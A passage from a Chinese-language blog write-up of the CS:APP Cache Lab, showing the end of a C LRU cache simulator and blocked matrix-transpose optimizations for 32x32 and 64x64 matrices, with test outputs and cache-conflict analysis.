class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">parseArguments</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt; argc; i += <span class="number">2</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (argv[i][<span class="number">1</span>] == <span class="string">&#x27;t&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            file_name = argv[i + <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="type">int</span> val = str2int(argv[i + <span class="number">1</span>]);</span><br><span class="line">            <span class="keyword">switch</span> (argv[i][<span class="number">1</span>])</span><br><span class="line">            &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;s&#x27;</span>:</span><br><span class="line">                s = val;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;E&#x27;</span>:</span><br><span class="line">                E = val;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;b&#x27;</span>:</span><br><span class="line">                b = val;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    group_cnt = <span class="number">1</span> &lt;&lt; s;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">touchCache</span><span class="params">(<span class="type">int</span> group_index, <span class="type">long</span> <span class="type">long</span> tag)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> empty_line_index = <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; E; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (cache[group_index].lines[i].valid &amp;&amp; cache[group_index].lines[i].tag == tag)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">// hit case</span></span><br><span class="line">            cache[group_index].lines[i].last_time = clock();</span><br><span class="line">            hit_count++;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (!cache[group_index].lines[i].valid)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">// record empty line</span></span><br><span class="line">                empty_line_index = i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    miss_count++;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if group has empty line</span></span><br><span class="line">    <span class="keyword">if</span> (empty_line_index != <span class="number">-1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        cache[group_index].lines[empty_line_index].valid = <span class="number">1</span>;</span><br><span class="line">        cache[group_index].lines[empty_line_index].tag = tag;</span><br><span class="line">        cache[group_index].lines[empty_line_index].last_time = clock();</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if we reach here, where no empty line, it means we have a miss and need to evict</span></span><br><span class="line">    eviction_count++;</span><br><span class="line">    <span class="type">int</span> lru_index = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt; E; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (cache[group_index].lines[i].last_time &lt; cache[group_index].lines[lru_index].last_time)</span><br><span class="line">        &#123;</span><br><span class="line">            lru_index = i;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// evict the LRU line</span></span><br><span class="line">    cache[group_index].lines[lru_index].tag = tag;</span><br><span class="line">    cache[group_index].lines[lru_index].last_time = clock();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">simulateCache</span><span class="params">(<span class="keyword">struct</span> trace *traces)</span></span><br><span class="line">&#123;</span><br><span class="line">    cache = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">struct</span> cacheGroup) * group_cnt);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; group_cnt; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        cache[i].lines = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">struct</span> cacheRow) * E);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; E; j++)</span><br><span class="line">        &#123;</span><br><span class="line">            cache[i].lines[j].valid = <span class="number">0</span>;</span><br><span class="line">            cache[i].lines[j].tag = <span class="number">0</span>;</span><br><span class="line">            cache[i].lines[j].last_time = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; trace_count; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">int</span> group_index, block_offset;</span><br><span class="line">        <span class="type">long</span> <span class="type">long</span> tag;</span><br><span class="line">        parseAddress(traces[i].address, &amp;group_index, &amp;tag, &amp;block_offset);</span><br><span class="line">        <span class="keyword">if</span> (traces[i].operation == <span class="string">&#x27;L&#x27;</span> || traces[i].operation == <span class="string">&#x27;S&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            touchCache(group_index, tag);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (traces[i].operation == <span class="string">&#x27;M&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            touchCache(group_index, tag);</span><br><span class="line">            touchCache(group_index, tag);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    parseArguments(argc, argv);</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">trace</span> *<span class="title">traces</span> =</span> readTraceFile();</span><br><span class="line">    simulateCache(traces);</span><br><span class="line">    printSummary(hit_count, miss_count, eviction_count);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></details><h2 id="part-b"><a class="markdownIt-Anchor" href="#part-b"></a> Part B</h2><p>完成对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>32</mn><mo>×</mo><mn>32</mn></mrow><annotation encoding="application/x-tex">32 \times 32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">32</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>64</mn><mo>×</mo><mn>64</mn></mrow><annotation encoding="application/x-tex">64 \times 64</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">64</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">64</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>61</mn><mo>×</mo><mn>67</mn></mrow><annotation encoding="application/x-tex">61 \times 67</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">61</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">67</span></span></span></span> 三种矩阵的转置优化，在 <code>trans.c</code> 中实现 <code>transpose_submit</code> 函数。</p><p>最简单的实现当然是直接挨个交换元素：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment"> * trans - A simple baseline transpose function, not optimized for the cache.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">char</span> trans_desc[] = <span class="string">&quot;Simple row-wise scan transpose&quot;</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">trans</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i, j, tmp;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; N; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (j = <span class="number">0</span>; j &lt; M; j++) &#123;</span><br><span class="line">            tmp = A[i][j];</span><br><span class="line">            B[j][i] = tmp;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;    </span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>参考 <a href="https://csapp.cs.cmu.edu/3e/cachelab.pdf">cachelab.pdf</a> 中 5.2.1 Performance 说到</p><blockquote><p>For each matrix size, the performance of your transpose_submit function is evaluated by using<br />valgrind to extract the address trace for your function, and then using the reference simulator to replay<br />this trace on a cache with parameters <code>(s = 5, E = 1, b = 5)</code>.</p></blockquote><p>那么最多有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>5</mn></msup><mo>=</mo><mn>32</mn></mrow><annotation encoding="application/x-tex">2^5 = 32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span> 个缓存行，每行长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>5</mn></msup><mo>=</mo><mn>32</mn></mrow><annotation encoding="application/x-tex">2^5 = 32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span> 字节，每个 <code>int</code> 元素占 4 字节，所以每行可以存储 8 个元素。</p><h4 id="3232"><a class="markdownIt-Anchor" href="#3232"></a> 32*32</h4><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>32</mn><mo>×</mo><mn>32</mn></mrow><annotation encoding="application/x-tex">32 \times 32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">32</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span> 的矩阵，我们可以将其分成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn><mo>×</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">8 \times 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span> 的小块进行转置。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">transpose_block</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N], <span class="type">int</span> si, <span class="type">int</span> sj, <span class="type">int</span> block_length)</span> &#123;</span><br><span class="line">    <span class="type">int</span> i, j, tmp;</span><br><span class="line">    <span class="keyword">for</span> (i = si; i &lt; si + block_length &amp;&amp; i &lt; N; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (j = sj; j &lt; sj + block_length &amp;&amp; j &lt; M; j++) &#123;</span><br><span class="line">            tmp = A[i][j];</span><br><span class="line">            B[j][i] = tmp;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">transpose_submit</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i, j;</span><br><span class="line">    <span class="type">int</span> block_length = <span class="number">8</span>;</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; N; i+=block_length) &#123;</span><br><span class="line">        <span class="keyword">for</span> (j = <span class="number">0</span>; j &lt; M; j+=block_length) &#123;</span><br><span class="line">            transpose_block(M, N, A, B, i, j, block_length);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结果为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 32 -N 32</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:1709, misses:344, evictions:312</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:869, misses:1184, evictions:1152</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=344</span><br></pre></td></tr></table></figure><p>以上是逐个元素交换，那么假如 <code>A[i]</code> 行映射的组和 <code>B[j]</code> 行的映射的组相同，那么在访问 <code>B[j][i]</code> 时会踢出 <code>A[i]</code> 行存入 <code>B[j]</code>，继续交换到 <code>B[j+1]</code> 时也需要读取 <code>A[i]</code> 行得到 <code>A[i][j+1]</code>，就会一直互相冲突。</p><p>显然如果一次性取出 <code>A[i][j]</code> 到 <code>A[i][j+7]</code> 的 8 个元素存入寄存器中，就算写入 <code>B[j]</code> 有冲突，那么就可以避免上述问题。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">transpose_block</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N], <span class="type">int</span> si, <span class="type">int</span> sj, <span class="type">int</span> block_length)</span> &#123;</span><br><span class="line">    <span class="type">int</span> a0, a1, a2, a3, a4, a5, a6, a7;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = si; i &lt; si + block_length &amp;&amp; i &lt; N; i++) &#123;</span><br><span class="line">        a0 = A[i][sj];</span><br><span class="line">        a1 = A[i][sj + <span class="number">1</span>];</span><br><span class="line">        a2 = A[i][sj + <span class="number">2</span>];</span><br><span class="line">        a3 = A[i][sj + <span class="number">3</span>];</span><br><span class="line">        a4 = A[i][sj + <span class="number">4</span>];</span><br><span class="line">        a5 = A[i][sj + <span class="number">5</span>];</span><br><span class="line">        a6 = A[i][sj + <span class="number">6</span>];</span><br><span class="line">        a7 = A[i][sj + <span class="number">7</span>];</span><br><span class="line"></span><br><span class="line">        B[sj][i] = a0;</span><br><span class="line">        B[sj + <span class="number">1</span>][i] = a1;</span><br><span class="line">        B[sj + <span class="number">2</span>][i] = a2;</span><br><span class="line">        B[sj + <span class="number">3</span>][i] = a3;</span><br><span class="line">        B[sj + <span class="number">4</span>][i] = a4;</span><br><span class="line">        B[sj + <span class="number">5</span>][i] = a5;</span><br><span class="line">        B[sj + <span class="number">6</span>][i] = a6;</span><br><span class="line">        B[sj + <span class="number">7</span>][i] = a7;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结果为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 32 -N 32</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:1765, misses:288, evictions:256</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:869, misses:1184, evictions:1152</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=288</span><br><span class="line"></span><br><span class="line">TEST_TRANS_RESULTS=1:288</span><br></pre></td></tr></table></figure><hr /><p>以下是做完整个实验之后的复盘。在进入 64*64 之前，这里应该思考一下：</p><ul><li>为什么在 B 竖着写入的时候，B 的每一行之间不会有冲突？</li></ul><p>考虑到一个缓存行可以存 32 bytes，也就是 8 个元素，由于 32*32 的矩阵每行有 32 个元素，所以每行占用 4 个缓存行，每 8 行才会将内存映射到同一行中。而分块为 8*8，这决定了分块矩阵内任意两行不可能映射到同一行中，因此自身行之间不会有冲突。</p><ul><li>什么情况下 B 的行之间可能有冲突？假如有冲突会发生什么？</li></ul><p>考虑下方的 64*64 的矩阵，每行有 64 个元素，占用 8 个缓存行，每 4 行就会映射到同一行中。如果分块为 8*8，这决定了分块矩阵内 0~3 行和 4~7 行会分别映射到同一行中，因此在写入 B 的时候，前 4 行和后 4 行互相踢出缓存。</p><ul><li>剩下的 288 个未命中是怎么产生的？</li></ul><p>当分块在对角线上时，A 和 B 的分块的每一行都映射到同一行中，导致大量未命中。</p><p>非对角线上的分块应该不会这样。</p><h4 id="6464"><a class="markdownIt-Anchor" href="#6464"></a> 64*64</h4><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn><mo>×</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">8 \times 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span> 的块大小直接套用到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>64</mn><mo>×</mo><mn>64</mn></mrow><annotation encoding="application/x-tex">64 \times 64</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">64</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">64</span></span></span></span> 的矩阵上，结果很差：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 64 -N 64</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:3585, misses:4612, evictions:4580</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:3473, misses:4724, evictions:4692</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=4612</span><br><span class="line"></span><br><span class="line">TEST_TRANS_RESULTS=1:4612</span><br></pre></td></tr></table></figure><p>将 <code>block_length</code> 改为 16 之后，为什么结果没变…？依旧是 <code>hits:3585, misses:4612, evictions:4580</code>。</p><blockquote><p>这个模拟器是不是有问题.jpg 按道理 <code>block_length</code> 从 8 变成 16，<code>misses</code> 应该会增加才对<br />但是对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>32</mn><mo>×</mo><mn>32</mn></mrow><annotation encoding="application/x-tex">32 \times 32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">32</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span> 的矩阵倒是显著增大了 <code>misses</code>，从 288 增加到了 1156</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 32 -N 32</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:897, misses:1156, evictions:1124</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:869, misses:1184, evictions:1152</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=1156</span><br><span class="line"></span><br><span class="line">TEST_TRANS_RESULTS=1:1156</span><br></pre></td></tr></table></figure></blockquote><p>既然矩阵每四行就会映射到同一行中，那么考虑分块为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo>×</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">4 \times 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>，这样就可以保证分块内任意两行都不会映射到同一行中，结果如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 64 -N 64</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:6497, misses:1700, evictions:1668</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:3473, misses:4724, evictions:4692</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=1700</span><br><span class="line"></span><br><span class="line">TEST_TRANS_RESULTS=1:1700</span><br></pre></td></tr></table></figure><p>满分要求是 1300 个未命中。</p><p>虽然这样也优化了，但缓存行每次读取 8 个元素而只利用了 4 个元素，非常浪费。</p><blockquote><p><s>经过和 AI 与 参考的殊死搏斗，折磨一晚上，终于跌跌撞撞理解了以下内容</s></p></blockquote><p>将矩阵 A 和 B 按照 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn><mo>×</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">8 \times 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span> 的块进行划分后再对分块划分为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo>×</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">4 \times 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> 的子块，分别为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>A</mi><mn>11</mn></msub><mo separator="true">,</mo><msub><mi>A</mi><mn>12</mn></msub><mo 